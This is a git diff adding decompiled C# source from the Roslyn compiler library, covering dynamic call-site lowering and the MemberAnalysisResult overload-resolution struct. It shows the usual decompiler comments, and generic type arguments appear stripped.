refKinds, null, resultType); + } + + internal LoweredDynamicOperation MakeDynamicConstructorInvocation(SyntaxNode syntax, TypeSymbol type, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds) + { + _factory.Syntax = syntax; + BoundExpression loweredReceiver = _factory.Typeof(type); + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)152, new BoundExpression[3] + { + _factory.Literal(0), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, argumentNames, refKinds, loweredReceiver, (RefKind)0, receiverIsStaticType: true) + }) : null); + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, loweredArguments, refKinds, null, type); + } + + internal LoweredDynamicOperation MakeDynamicGetMember(BoundExpression loweredReceiver, string name, bool resultIndexed) + { + _factory.Syntax = loweredReceiver.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (resultIndexed) + { + cSharpBinderFlags |= CSharpBinderFlags.ResultIndexed; + } + ImmutableArray empty = ImmutableArray.Empty; + DynamicTypeSymbol instance = DynamicTypeSymbol.Instance; + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + object obj; + if ((object)argumentInfoFactory == null) + { + obj = null; + } + else + { + BoundExpression[] obj2 = new BoundExpression[4] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Literal(name), + _factory.TypeofDynamicOperationContextType(), + null + }; + obj2[3] = MakeCallSiteArgumentInfos(argumentInfoFactory, empty, default(ImmutableArray), default(ImmutableArray), loweredReceiver, (RefKind)0); + obj = MakeBinderConstruction((WellKnownMember)150, obj2); + } + BoundExpression binderConstruction = (BoundExpression)obj; + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, empty, default(ImmutableArray), null, instance); + } + + internal LoweredDynamicOperation MakeDynamicSetMember(BoundExpression loweredReceiver, string name, BoundExpression loweredRight, bool isCompoundAssignment = false, bool isChecked = false) + { + _factory.Syntax = loweredReceiver.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (isCompoundAssignment) + { + cSharpBinderFlags |= CSharpBinderFlags.ValueFromCompoundAssignment; + if (isChecked) + { + cSharpBinderFlags |= CSharpBinderFlags.CheckedContext; + } + } + ImmutableArray empty = ImmutableArray.Empty; + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + object obj; + if ((object)argumentInfoFactory == null) + { + obj = null; + } + else + { + BoundExpression[] obj2 = new BoundExpression[4] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Literal(name), + _factory.TypeofDynamicOperationContextType(), + null + }; + obj2[3] = MakeCallSiteArgumentInfos(argumentInfoFactory, empty, default(ImmutableArray), default(ImmutableArray), loweredReceiver, (RefKind)0, receiverIsStaticType: false, loweredRight); + obj = MakeBinderConstruction((WellKnownMember)156, obj2); + } + BoundExpression binderConstruction = (BoundExpression)obj; + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, empty, default(ImmutableArray), loweredRight, AssemblySymbol.DynamicType); + } + + internal LoweredDynamicOperation MakeDynamicGetIndex(BoundExpression loweredReceiver, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds) + { + _factory.Syntax = loweredReceiver.Syntax; + DynamicTypeSymbol instance = DynamicTypeSymbol.Instance; + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)149, new BoundExpression[3] + { + _factory.Literal(0), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, argumentNames, refKinds, loweredReceiver, (RefKind)0) + }) : null); + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, loweredArguments, refKinds, null, instance); + } + + internal LoweredDynamicOperation MakeDynamicSetIndex(BoundExpression loweredReceiver, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds, BoundExpression loweredRight, bool isCompoundAssignment = false, bool isChecked = false) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (isCompoundAssignment) + { + cSharpBinderFlags |= CSharpBinderFlags.ValueFromCompoundAssignment; + if (isChecked) + { + cSharpBinderFlags |= CSharpBinderFlags.CheckedContext; + } + } + RefKind receiverRefKind = GetReceiverRefKind(loweredReceiver); + DynamicTypeSymbol instance = DynamicTypeSymbol.Instance; + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)155, new BoundExpression[3] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, argumentNames, refKinds, loweredReceiver, receiverRefKind, receiverIsStaticType: false, loweredRight) + }) : null); + return MakeDynamicOperation(binderConstruction, loweredReceiver, receiverRefKind, loweredArguments, refKinds, loweredRight, instance); + } + + internal LoweredDynamicOperation MakeDynamicIsEventTest(string name, BoundExpression loweredReceiver) + { + _factory.Syntax = loweredReceiver.Syntax; + NamedTypeSymbol resultType = _factory.SpecialType((SpecialType)7); + BoundExpression binderConstruction = MakeBinderConstruction((WellKnownMember)154, new BoundExpression[3] + { + _factory.Literal(0), + _factory.Literal(name), + _factory.TypeofDynamicOperationContextType() + }); + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, ImmutableArray.Empty, default(ImmutableArray), null, resultType); + } + + private MethodSymbol GetArgumentInfoFactory() + { + return _factory.WellKnownMethod((WellKnownMember)158); + } + + private BoundExpression? MakeBinderConstruction(WellKnownMember factoryMethod, BoundExpression[] args) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol = _factory.WellKnownMember(factoryMethod); + if ((object)symbol == null) + { + return null; + } + return _factory.Call(null, (MethodSymbol)symbol, ImmutableArrayExtensions.AsImmutableOrNull(args)); + } + + internal static RefKind GetReceiverRefKind(BoundExpression loweredReceiver) + { + if (!loweredReceiver.Type.IsValueType) + { + return (RefKind)0; + } + switch (loweredReceiver.Kind) + { + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.RefValueOperator: + case BoundKind.ArrayAccess: + case BoundKind.ThisReference: + case BoundKind.Local: + case BoundKind.Parameter: + return (RefKind)1; + case BoundKind.TypeExpression: + case BoundKind.BaseReference: + throw ExceptionUtilities.UnexpectedValue((object)loweredReceiver.Kind); + default: + return (RefKind)0; + } + } + + internal BoundExpression MakeCallSiteArgumentInfos(MethodSymbol argumentInfoFactory, ImmutableArray loweredArguments, ImmutableArray argumentNames = default(ImmutableArray), ImmutableArray refKinds = default(ImmutableArray), BoundExpression? loweredReceiver = null, RefKind receiverRefKind = (RefKind)0, bool receiverIsStaticType = false, BoundExpression? loweredRight = null) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + BoundExpression[] array = new BoundExpression[((loweredReceiver != null) ? 1 : 0) + loweredArguments.Length + ((loweredRight != null) ? 1 : 0)]; + int num = 0; + if (loweredReceiver != null) + { + array[num++] = GetArgumentInfo(argumentInfoFactory, loweredReceiver, null, receiverRefKind, receiverIsStaticType); + } + for (int i = 0; i < loweredArguments.Length; i++) + { + array[num++] = GetArgumentInfo(argumentInfoFactory, loweredArguments[i], argumentNames.IsDefaultOrEmpty ? null : argumentNames[i], (RefKind)((!refKinds.IsDefault) ? ((int)refKinds[i]) : 0), isStaticType: false); + } + if (loweredRight != null) + { + array[num++] = GetArgumentInfo(argumentInfoFactory, loweredRight, null, (RefKind)0, isStaticType: false); + } + return _factory.ArrayOrEmpty(argumentInfoFactory.ContainingType, array); + } + + internal LoweredDynamicOperation MakeDynamicOperation(BoundExpression? binderConstruction, BoundExpression? loweredReceiver, RefKind receiverRefKind, ImmutableArray loweredArguments, ImmutableArray refKinds, BoundExpression? loweredRight, TypeSymbol resultType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol delegateType = GetDelegateType(loweredReceiver, receiverRefKind, loweredArguments, refKinds, loweredRight, resultType); + NamedTypeSymbol namedTypeSymbol = _factory.WellKnownType((WellKnownType)183); + MethodSymbol methodSymbol = _factory.WellKnownMethod((WellKnownMember)121); + FieldSymbol fieldSymbol = (FieldSymbol)_factory.WellKnownMember((WellKnownMember)122); + MethodSymbol delegateInvokeMethod; + if (binderConstruction == null || (object)delegateType == null || delegateType.IsErrorType() || (object)(delegateInvokeMethod = delegateType.DelegateInvokeMethod) == null || namedTypeSymbol.IsErrorType() || (object)methodSymbol == null || (object)fieldSymbol == null) + { + _factory.Diagnostics.Add(ErrorCode.ERR_DynamicRequiredTypesMissing, NoLocation.Singleton); + return LoweredDynamicOperation.Bad(loweredReceiver, loweredArguments, loweredRight, resultType); + } + if ((object)_currentDynamicCallSiteContainer == null) + { + _currentDynamicCallSiteContainer = CreateCallSiteContainer(_factory, _methodOrdinal, _localFunctionOrdinal); + } + SynthesizedContainer synthesizedContainer = (SynthesizedContainer)_currentDynamicCallSiteContainer.OriginalDefinition; + TypeMap typeMap = synthesizedContainer.TypeMap; + ImmutableArray temps = MakeTempsForDiscardArguments(ref loweredArguments); + TypeSymbol[] typeArguments = new NamedTypeSymbol[1] { delegateType }; + NamedTypeSymbol newOwner = namedTypeSymbol.Construct(typeArguments); + MethodSymbol method = methodSymbol.AsMember(newOwner); + FieldSymbol f = fieldSymbol.AsMember(newOwner); + FieldSymbol fieldSymbol2 = DefineCallSiteStorageSymbol(synthesizedContainer, delegateType, typeMap); + BoundFieldAccess boundFieldAccess = _factory.Field(null, fieldSymbol2); + ImmutableArray callSiteArguments = GetCallSiteArguments(boundFieldAccess, loweredReceiver, loweredArguments, loweredRight); + BoundExpression boundExpression = _factory.Null(fieldSymbol2.Type); + BoundExpression siteInitialization = _factory.Conditional(_factory.ObjectEqual(boundFieldAccess, boundExpression), _factory.AssignmentExpression(boundFieldAccess, _factory.Call(null, method, binderConstruction)), boundExpression, fieldSymbol2.Type); + BoundCall siteInvocation = _factory.Call(_factory.Field(boundFieldAccess, f), delegateInvokeMethod, callSiteArguments); + return new LoweredDynamicOperation(_factory, siteInitialization, siteInvocation, resultType, temps); + } + + private ImmutableArray MakeTempsForDiscardArguments(ref ImmutableArray loweredArguments) + { + int num = ImmutableArrayExtensions.Count(loweredArguments, (Func)((BoundExpression a) => a.Kind == BoundKind.DiscardExpression)); + if (num == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + loweredArguments = _factory.MakeTempsForDiscardArguments(loweredArguments, instance); + return instance.ToImmutableAndFree(); + } + + private static NamedTypeSymbol CreateCallSiteContainer(SyntheticBoundNodeFactory factory, int methodOrdinal, int localFunctionOrdinal) + { + int currentGenerationOrdinal = ((CommonPEModuleBuilder)factory.CompilationState.ModuleBuilderOpt).CurrentGenerationOrdinal; + DynamicSiteContainer dynamicSiteContainer = new DynamicSiteContainer(GeneratedNames.MakeDynamicCallSiteContainerName(methodOrdinal, localFunctionOrdinal, currentGenerationOrdinal), factory.TopLevelMethod, factory.CurrentFunction); + factory.AddNestedType(dynamicSiteContainer); + if (!dynamicSiteContainer.TypeParameters.IsEmpty) + { + return dynamicSiteContainer.Construct(ImmutableArrayExtensions.Cast(dynamicSiteContainer.ConstructedFromTypeParameters)); + } + return dynamicSiteContainer; + } + + internal FieldSymbol DefineCallSiteStorageSymbol(NamedTypeSymbol containerDefinition, NamedTypeSymbol delegateTypeOverMethodTypeParameters, TypeMap methodToContainerTypeParametersMap) + { + string name = GeneratedNames.MakeDynamicCallSiteFieldName(_callSiteIdDispenser++); + NamedTypeSymbol namedTypeSymbol = methodToContainerTypeParametersMap.SubstituteNamedType(delegateTypeOverMethodTypeParameters); + NamedTypeSymbol wellKnownType = _factory.Compilation.GetWellKnownType((WellKnownType)183); + _factory.Diagnostics.ReportUseSite(wellKnownType, _factory.Syntax); + NamedTypeSymbol namedTypeSymbol2 = wellKnownType; + TypeSymbol[] typeArguments = new NamedTypeSymbol[1] { namedTypeSymbol }; + wellKnownType = namedTypeSymbol2.Construct(typeArguments); + SynthesizedFieldSymbol synthesizedFieldSymbol = new SynthesizedFieldSymbol(containerDefinition, wellKnownType, name, isPublic: true, isReadOnly: false, isStatic: true); + _factory.AddField(containerDefinition, synthesizedFieldSymbol); + if (!_currentDynamicCallSiteContainer.IsGenericType) + { + return synthesizedFieldSymbol; + } + return synthesizedFieldSymbol.AsMember(_currentDynamicCallSiteContainer); + } + + internal NamedTypeSymbol? GetDelegateType(BoundExpression? loweredReceiver, RefKind receiverRefKind, ImmutableArray loweredArguments, ImmutableArray refKinds, BoundExpression? loweredRight, TypeSymbol resultType) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = _factory.WellKnownType((WellKnownType)182); + if (namedTypeSymbol.IsErrorType()) + { + return null; + } + TypeSymbol[] array = MakeCallSiteDelegateSignature(namedTypeSymbol, loweredReceiver, loweredArguments, loweredRight, resultType); + bool flag = resultType.IsVoidType(); + bool flag2 = (int)receiverRefKind != 0 || !refKinds.IsDefaultOrEmpty; + if (!flag2) + { + WellKnownType val = (flag ? WellKnownTypes.GetWellKnownActionDelegate(array.Length) : WellKnownTypes.GetWellKnownFunctionDelegate(array.Length - 1)); + if ((int)val != 0) + { + NamedTypeSymbol wellKnownType = _factory.Compilation.GetWellKnownType(val); + if (!wellKnownType.HasUseSiteError) + { + _factory.Diagnostics.AddDependencies(wellKnownType); + return wellKnownType.Construct(array); + } + } + } + RefKindVector refKinds2; + if (flag2) + { + refKinds2 = RefKindVector.Create(1 + ((loweredReceiver != null) ? 1 : 0) + loweredArguments.Length + ((loweredRight != null) ? 1 : 0) + ((!flag) ? 1 : 0)); + int num = 1; + if (loweredReceiver != null) + { + refKinds2[num++] = getRefKind(receiverRefKind); + } + if (!refKinds.IsDefault) + { + int num2 = 0; + while (num2 < refKinds.Length) + { + refKinds2[num] = getRefKind(refKinds[num2]); + num2++; + num++; + } + } + if (!flag) + { + refKinds2[num++] = (RefKind)0; + } + } + else + { + refKinds2 = default(RefKindVector); + } + int parameterCount = array.Length - ((!flag) ? 1 : 0); + int currentGenerationOrdinal = ((CommonPEModuleBuilder)_factory.CompilationState.ModuleBuilderOpt).CurrentGenerationOrdinal; + return _factory.Compilation.AnonymousTypeManager.SynthesizeDelegate(parameterCount, refKinds2, flag, currentGenerationOrdinal).Construct(array); + static RefKind getRefKind(RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind == 0) + { + return (RefKind)0; + } + return (RefKind)1; + } + } + + private BoundExpression GetArgumentInfo(MethodSymbol argumentInfoFactory, BoundExpression boundArgument, string? name, RefKind refKind, bool isStaticType) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + CSharpArgumentInfoFlags cSharpArgumentInfoFlags = CSharpArgumentInfoFlags.None; + if (isStaticType) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.IsStaticType; + } + if (name != null) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.NamedArgument; + } + if ((int)refKind == 2) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.IsOut; + } + else if ((int)refKind == 1) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.IsRef; + } + TypeSymbol type = boundArgument.Type; + if (boundArgument.ConstantValueOpt != (ConstantValue)null) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.Constant; + } + if ((object)type != null && !type.IsDynamic()) + { + cSharpArgumentInfoFlags |= CSharpArgumentInfoFlags.UseCompileTimeType; + } + return _factory.Call(null, argumentInfoFactory, _factory.Literal((int)cSharpArgumentInfoFlags), _factory.Literal(name)); + } + + private static ImmutableArray GetCallSiteArguments(BoundExpression callSiteFieldAccess, BoundExpression? receiver, ImmutableArray arguments, BoundExpression? right) + { + BoundExpression[] array = new BoundExpression[1 + ((receiver != null) ? 1 : 0) + arguments.Length + ((right != null) ? 1 : 0)]; + int num = 0; + array[num++] = callSiteFieldAccess; + if (receiver != null) + { + array[num++] = receiver; + } + arguments.CopyTo(array, num); + num += arguments.Length; + if (right != null) + { + array[num++] = right; + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + private TypeSymbol[] MakeCallSiteDelegateSignature(TypeSymbol callSiteType, BoundExpression? receiver, ImmutableArray arguments, BoundExpression? right, TypeSymbol resultType) + { + NamedTypeSymbol namedTypeSymbol = _factory.SpecialType((SpecialType)1); + TypeSymbol[] array = new TypeSymbol[1 + ((receiver != null) ? 1 : 0) + arguments.Length + ((right != null) ? 1 : 0) + ((!resultType.IsVoidType()) ? 1 : 0)]; + int num = 0; + array[num++] = callSiteType; + if (receiver != null) + { + array[num++] = receiver.Type ?? namedTypeSymbol; + } + for (int i = 0; i < arguments.Length; i++) + { + array[num++] = arguments[i].Type ?? namedTypeSymbol; + } + if (right != null) + { + array[num++] = right.Type ?? namedTypeSymbol; + } + if (num < array.Length) + { + array[num++] = resultType ?? namedTypeSymbol; + } + return array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberAnalysisResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberAnalysisResult.cs new file mode 100644 index 0000000..787c931 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberAnalysisResult.cs @@ -0,0 +1,306 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct MemberAnalysisResult +{ + public readonly ImmutableArray ConversionsOpt; + + public readonly BitVector BadArgumentsOpt; + + public readonly ImmutableArray ArgsToParamsOpt; + + public readonly ImmutableArray ConstraintFailureDiagnostics; + + public readonly int BadParameter; + + public readonly MemberResolutionKind Kind; + + public readonly bool HasAnyRefOmittedArgument; + + public int FirstBadArgument + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + BitVector badArgumentsOpt = BadArgumentsOpt; + return ((BitVector)(ref badArgumentsOpt)).TrueBits().First(); + } + } + + public bool IsApplicable + { + get + { + MemberResolutionKind kind = Kind; + if (kind - 1 <= MemberResolutionKind.ApplicableInNormalForm || kind - 22 <= MemberResolutionKind.ApplicableInNormalForm) + { + return true; + } + return false; + } + } + + public bool IsValid + { + get + { + MemberResolutionKind kind = Kind; + if (kind - 1 <= MemberResolutionKind.ApplicableInNormalForm) + { + return true; + } + return false; + } + } + + private MemberAnalysisResult(MemberResolutionKind kind, BitVector badArgumentsOpt = default(BitVector), ImmutableArray argsToParamsOpt = default(ImmutableArray), ImmutableArray conversionsOpt = default(ImmutableArray), int missingParameter = -1, bool hasAnyRefOmittedArgument = false, ImmutableArray constraintFailureDiagnosticsOpt = default(ImmutableArray)) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + Kind = kind; + BadArgumentsOpt = badArgumentsOpt; + ArgsToParamsOpt = argsToParamsOpt; + ConversionsOpt = conversionsOpt; + BadParameter = missingParameter; + HasAnyRefOmittedArgument = hasAnyRefOmittedArgument; + ConstraintFailureDiagnostics = ImmutableArrayExtensions.NullToEmpty(constraintFailureDiagnosticsOpt); + } + + public override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/OverloadResolution/MemberAnalysisResult.cs", 63); + } + + public override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/OverloadResolution/MemberAnalysisResult.cs", 68); + } + + public Conversion ConversionForArg(int arg) + { + if (ConversionsOpt.IsDefault) + { + return Conversion.Identity; + } + return ConversionsOpt[arg]; + } + + public int ParameterFromArgument(int arg) + { + if (ArgsToParamsOpt.IsDefault) + { + return arg; + } + return ArgsToParamsOpt[arg]; + } + + internal bool HasUseSiteDiagnosticToReportFor(Symbol symbol) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (!SuppressUseSiteDiagnosticsForKind(Kind) && (object)symbol != null) + { + return symbol.GetUseSiteInfo().DiagnosticInfo != null; + } + return false; + } + + private static bool SuppressUseSiteDiagnosticsForKind(MemberResolutionKind kind) + { + switch (kind) + { + case MemberResolutionKind.UnsupportedMetadata: + return true; + case MemberResolutionKind.NoCorrespondingParameter: + case MemberResolutionKind.NoCorrespondingNamedParameter: + case MemberResolutionKind.DuplicateNamedArgument: + case MemberResolutionKind.RequiredParameterMissing: + case MemberResolutionKind.NameUsedForPositional: + case MemberResolutionKind.LessDerived: + return true; + default: + return false; + } + } + + public static MemberAnalysisResult ArgumentParameterMismatch(ArgumentAnalysisResult argAnalysis) + { + return argAnalysis.Kind switch + { + ArgumentAnalysisResultKind.NoCorrespondingParameter => NoCorrespondingParameter(argAnalysis.ArgumentPosition), + ArgumentAnalysisResultKind.NoCorrespondingNamedParameter => NoCorrespondingNamedParameter(argAnalysis.ArgumentPosition), + ArgumentAnalysisResultKind.DuplicateNamedArgument => DuplicateNamedArgument(argAnalysis.ArgumentPosition), + ArgumentAnalysisResultKind.RequiredParameterMissing => RequiredParameterMissing(argAnalysis.ParameterPosition), + ArgumentAnalysisResultKind.NameUsedForPositional => NameUsedForPositional(argAnalysis.ArgumentPosition), + ArgumentAnalysisResultKind.BadNonTrailingNamedArgument => BadNonTrailingNamedArgument(argAnalysis.ArgumentPosition), + _ => throw ExceptionUtilities.UnexpectedValue((object)argAnalysis.Kind), + }; + } + + public static MemberAnalysisResult NameUsedForPositional(int argumentPosition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.NameUsedForPositional, CreateBadArgumentsWithPosition(argumentPosition)); + } + + public static MemberAnalysisResult BadNonTrailingNamedArgument(int argumentPosition) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.BadNonTrailingNamedArgument, CreateBadArgumentsWithPosition(argumentPosition)); + } + + public static MemberAnalysisResult NoCorrespondingParameter(int argumentPosition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.NoCorrespondingParameter, CreateBadArgumentsWithPosition(argumentPosition)); + } + + public static MemberAnalysisResult NoCorrespondingNamedParameter(int argumentPosition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.NoCorrespondingNamedParameter, CreateBadArgumentsWithPosition(argumentPosition)); + } + + public static MemberAnalysisResult DuplicateNamedArgument(int argumentPosition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.DuplicateNamedArgument, CreateBadArgumentsWithPosition(argumentPosition)); + } + + internal static BitVector CreateBadArgumentsWithPosition(int argumentPosition) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BitVector result = BitVector.Create(argumentPosition + 1); + ((BitVector)(ref result))[argumentPosition] = true; + return result; + } + + public static MemberAnalysisResult RequiredParameterMissing(int parameterPosition) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.RequiredParameterMissing, default(BitVector), default(ImmutableArray), default(ImmutableArray), parameterPosition); + } + + public static MemberAnalysisResult UseSiteError() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.UseSiteError); + } + + public static MemberAnalysisResult UnsupportedMetadata() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.UnsupportedMetadata); + } + + public static MemberAnalysisResult BadArgumentConversions(ImmutableArray argsToParamsOpt, BitVector badArguments, ImmutableArray conversions) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.BadArgumentConversion, badArguments, argsToParamsOpt, conversions); + } + + public static MemberAnalysisResult InaccessibleTypeArgument() + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.InaccessibleTypeArgument); + } + + public static MemberAnalysisResult TypeInferenceFailed() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.TypeInferenceFailed); + } + + public static MemberAnalysisResult TypeInferenceExtensionInstanceArgumentFailed() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.TypeInferenceExtensionInstanceArgument); + } + + public static MemberAnalysisResult StaticInstanceMismatch() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.StaticInstanceMismatch); + } + + public static MemberAnalysisResult ConstructedParameterFailedConstraintsCheck(int parameterPosition) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.ConstructedParameterFailedConstraintCheck, default(BitVector), default(ImmutableArray), default(ImmutableArray), parameterPosition); + } + + public static MemberAnalysisResult WrongRefKind() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.WrongRefKind); + } + + public static MemberAnalysisResult WrongReturnType() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.WrongReturnType); + } + + public static MemberAnalysisResult LessDerived() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.LessDerived); + } + + public static MemberAnalysisResult NormalForm(ImmutableArray argsToParamsOpt, ImmutableArray conversions, bool hasAnyRefOmittedArgument) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.ApplicableInNormalForm, BitVector.Null, argsToParamsOpt, conversions, -1, hasAnyRefOmittedArgument); + } + + public static MemberAnalysisResult ExpandedForm(ImmutableArray argsToParamsOpt, ImmutableArray conversions, bool hasAnyRefOmittedArgument) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.ApplicableInExpandedForm, BitVector.Null, argsToParamsOpt, conversions, -1, hasAnyRefOmittedArgument); + } + + public static MemberAnalysisResult Worse() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.Worse); + } + + public static MemberAnalysisResult Worst() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.Worst); + } + + internal static MemberAnalysisResult ConstraintFailure(ImmutableArray constraintFailureDiagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.ConstraintFailure, default(BitVector), default(ImmutableArray), default(ImmutableArray), -1, hasAnyRefOmittedArgument: false, constraintFailureDiagnostics); + } + + internal static MemberAnalysisResult WrongCallingConvention() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return new MemberAnalysisResult(MemberResolutionKind.WrongCallingConvention); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionKind.cs 